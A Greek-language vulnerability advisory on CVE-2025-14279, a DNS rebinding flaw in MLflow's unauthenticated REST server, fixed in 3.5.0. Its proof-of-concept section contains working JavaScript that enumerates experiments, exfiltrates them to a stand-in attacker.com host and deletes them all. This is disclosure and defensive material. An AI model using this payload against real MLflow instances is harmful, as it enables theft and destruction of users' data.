Εξαγωγή και καταστροφή δεδομένων στο MLflow λόγω απουσίας επικύρωσης Origin (DNS rebinding)
Συντάκτης: Evan Harris
Κίνδυνος: Υψηλός (CVSS 8.1, CVE-2025-14279)
Επηρεαζόμενο στοιχείο: REST server του MLflow (mlflow/mlflow), εκδόσεις έως και 3.4.0 συμπεριλαμβανομένης
Με λίγα λόγια
Ο REST server του MLflow δεν επικύρωνε την κεφαλίδα Origin ή Host στα εισερχόμενα αιτήματα, αφήνοντάς τον εκτεθειμένο σε DNS rebinding. Ένα θύμα που εκτελεί τον mlflow server τοπικά και στη συνέχεια επισκέπτεται έναν κακόβουλο ιστότοπο μπορεί να δει τον περιηγητή του να μετατρέπεται σε διαμεσολαβητή (proxy) που φτάνει τη διεπαφή loopback, παρακάμπτοντας την πολιτική κοινής προέλευσης (Same-Origin Policy). Χωρίς έλεγχο ταυτότητας στο REST API, ο επιτιθέμενος αποκτά πλήρη πρόσβαση ανάγνωσης και εγγραφής: μπορεί να απαριθμήσει πειράματα, να εξαγάγει τα δεδομένα σε εξωτερικό host και να διαγράψει πειράματα εντελώς. Στο ζήτημα αποδόθηκε ο κωδικός CVE-2025-14279 (CVSS 8.1, Υψηλός) και διορθώθηκε στο MLflow 3.5.0, το οποίο προσθέτει επικύρωση της κεφαλίδας Host και αποκλεισμό αιτημάτων διασταυρούμενης προέλευσης. Οι χρήστες θα πρέπει να αναβαθμίσουν σε 3.5.0 ή νεότερη έκδοση.
Ιστορικό
Ο server παρακολούθησης του MLflow εκθέτει ένα REST API (συνήθως στο http://localhost:5000) που το web UI και οι βιβλιοθήκες πελάτη χρησιμοποιούν για τη δημιουργία, την αναζήτηση, την ενημέρωση και τη διαγραφή πειραμάτων και εκτελέσεων. Από προεπιλογή ο server λειτουργεί χωρίς έλεγχο ταυτότητας, με την παραδοχή ότι η δέσμευση στο localhost τον διατηρεί ιδιωτικό.
Αυτή η παραδοχή καταρρέει υπό DNS rebinding. Η πολιτική κοινής προέλευσης του περιηγητή υποτίθεται ότι εμποδίζει μια σελίδα που σερβίρεται από το attacker.com να διαβάζει αποκρίσεις από το localhost:5000, αλλά το rebinding την παρακάμπτει αλλάζοντας το σε τι αναλύεται ένα όνομα host αφότου η σελίδα έχει φορτωθεί. Επειδή ο server του MLflow δεχόταν αιτήματα χωρίς να ελέγχει από πού προέρχονταν, οποιοσδήποτε ιστότοπος επισκεπτόταν το θύμα μπορούσε να χειριστεί το τοπικό API.
Επισκόπηση
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Σενάριο επίθεσης
- Το θύμα κλωνοποιεί το MLflow και εκτελεί τον server τοπικά με την προεπιλεγμένη διαμόρφωση (
mlflow server), δημιουργώντας κάποια πειράματα στην πορεία. - Ο επιτιθέμενος στήνει ένα εργαστήριο DNS rebinding, για παράδειγμα το Singularity of Origin της NCC Group, και τοποθετεί το παρακάτω ωφέλιμο φορτίο στον κατάλογο ωφέλιμων φορτίων του πλαισίου.
- Το θύμα επισκέπτεται τον ιστότοπο του επιτιθέμενου και παραμένει στη σελίδα αρκετά (κάτω από ένα λεπτό) ώστε να συμβεί το rebind.
- Ο DNS server του επιτιθέμενου αναλύει πρώτα το όνομα host στη δική του IP ώστε να φορτωθεί το ωφέλιμο φορτίο, και έπειτα απαντά σε μεταγενέστερα ερωτήματα με
127.0.0.1. Ο περιηγητής επαναχρησιμοποιεί το προσωρινά αποθηκευμένο όνομα, οπότε οι κλήσειςfetchτης σελίδας μεταπηδούν σιωπηλά στοlocalhost:5000διατηρώντας την αρχική προέλευση (origin). - Επειδή ο server του MLflow δεν εκτελεί καμία επικύρωση Origin ή Host, τα αιτήματα πετυχαίνουν. Ο επιτιθέμενος απαριθμεί πειράματα, στέλνει τα δεδομένα στο
attacker.comκαι διαγράφει τα πειράματα.
Απόδειξη ιδέας
Το παρακάτω ωφέλιμο φορτίο καταχωρίζεται σε ένα πλαίσιο DNS rebinding. Αναγνωρίζει τον στόχο ως server MLflow, απαριθμεί τα πειράματα μέσω του μη ελεγχόμενου ως προς την ταυτότητα REST API, εξάγει τα αποτελέσματα σε έναν host ελεγχόμενο από τον επιτιθέμενο και στη συνέχεια διαγράφει κάθε πείραμα. Η αρχική απόδειξη ιδέας είναι εδώ συμπυκνωμένη στα λειτουργικά της βήματα.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Αντίκτυπος
- Εξαγωγή δεδομένων: τα μεταδεδομένα των πειραμάτων διαβάζονται μέσω του
experiments/searchκαι αποστέλλονται σε έναν host ελεγχόμενο από τον επιτιθέμενο. - Καταστροφή δεδομένων: τα πειράματα διαγράφονται μέσω του
experiments/delete. - Χειραγώγηση δεδομένων: η ίδια πρόσβαση εγγραφής χωρίς έλεγχο ταυτότητας επιτρέπει λειτουργίες ενημέρωσης έναντι των πειραμάτων.
- Δεν απαιτούνται διαπιστευτήρια: η επίθεση λειτουργεί έναντι μιας προεπιλεγμένης εγκατάστασης
mlflow server, απαιτώντας μόνο να επισκεφθεί το θύμα μια κακόβουλη σελίδα ενώ ο server εκτελείται.
Απόκριση του MLflow
Αφότου γνωστοποιήσαμε το ζήτημα μέσω της διαδικασίας συντονισμένης γνωστοποίησης του MLflow, οι συντηρητές το αντιμετώπισαν στο pull request #17910.
Η διόρθωση εισάγει ένα στρώμα ενδιάμεσου λογισμικού ασφαλείας (middleware) για τον server, το οποίο:
- Επικυρώνει την κεφαλίδα
Hostέναντι μιας λίστας επιτρεπόμενων (localhost και εύρη ιδιωτικών IP από προεπιλογή) ώστε να αποκλείει το DNS rebinding. - Αποκλείει αιτήματα διασταυρούμενης προέλευσης που μεταβάλλουν την κατάσταση (POST, PUT, DELETE, PATCH) από προελεύσεις εκτός localhost.
- Προσθέτει αμυντικές κεφαλίδες απόκρισης (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
Για εγκαταστάσεις που νόμιμα χρειάζονται ευρύτερη πρόσβαση διατίθεται νέα διαμόρφωση, συμπεριλαμβανομένων των --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) και --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Οι προστασίες κυκλοφόρησαν στο MLflow 3.5.0, και στο ζήτημα αποδόθηκε αργότερα ο κωδικός CVE-2025-14279 (CVSS 8.1, Υψηλός· CWE-346, Origin Validation Error).
Συστάσεις
Για τελικούς χρήστες
- Αναβαθμίστε σε MLflow 3.5.0 ή νεότερη έκδοση.
- Διατηρήστε τις προεπιλεγμένες ρυθμίσεις
--allowed-hostsκαι--cors-allowed-originsεκτός αν έχετε συγκεκριμένο λόγο να τις διευρύνετε, και ποτέ μην απενεργοποιείτε το ενδιάμεσο λογισμικό ασφαλείας σε έναν εκτεθειμένο server. - Μη δεσμεύετε τον server του MLflow σε δημόσιο ή μη έμπιστο δίκτυο, και τοποθετήστε έλεγχο ταυτότητας ή έναν αντίστροφο διαμεσολαβητή (reverse proxy) μπροστά του αν πρέπει να είναι προσβάσιμος πέρα από το localhost.
- Αντιμετωπίζετε έναν τοπικά δεσμευμένο server ως προσβάσιμο από τον περιηγητή: κλείνετε ή απομονώνετε τα τοπικά στιγμιότυπα MLflow όταν περιηγείστε σε μη έμπιστους ιστότοπους.
Χρονολόγιο
| Ημερομηνία | Γεγονός |
|---|---|
| 22 Σεπτεμβρίου 2025 | Η ευπάθεια αναφέρθηκε στους συντηρητές του MLflow μέσω συντονισμένης γνωστοποίησης (issue #17877) |
| 6 Οκτωβρίου 2025 | Το MLflow ενσωματώνει τη διόρθωση (PR #17910), που κυκλοφόρησε στην v3.5.0 |
| 12 Ιανουαρίου 2026 | Δημοσιεύτηκε το CVE-2025-14279 (CVSS 8.1, Υψηλός) |
| 8 Ιουνίου 2026 | Δημόσια γνωστοποίηση |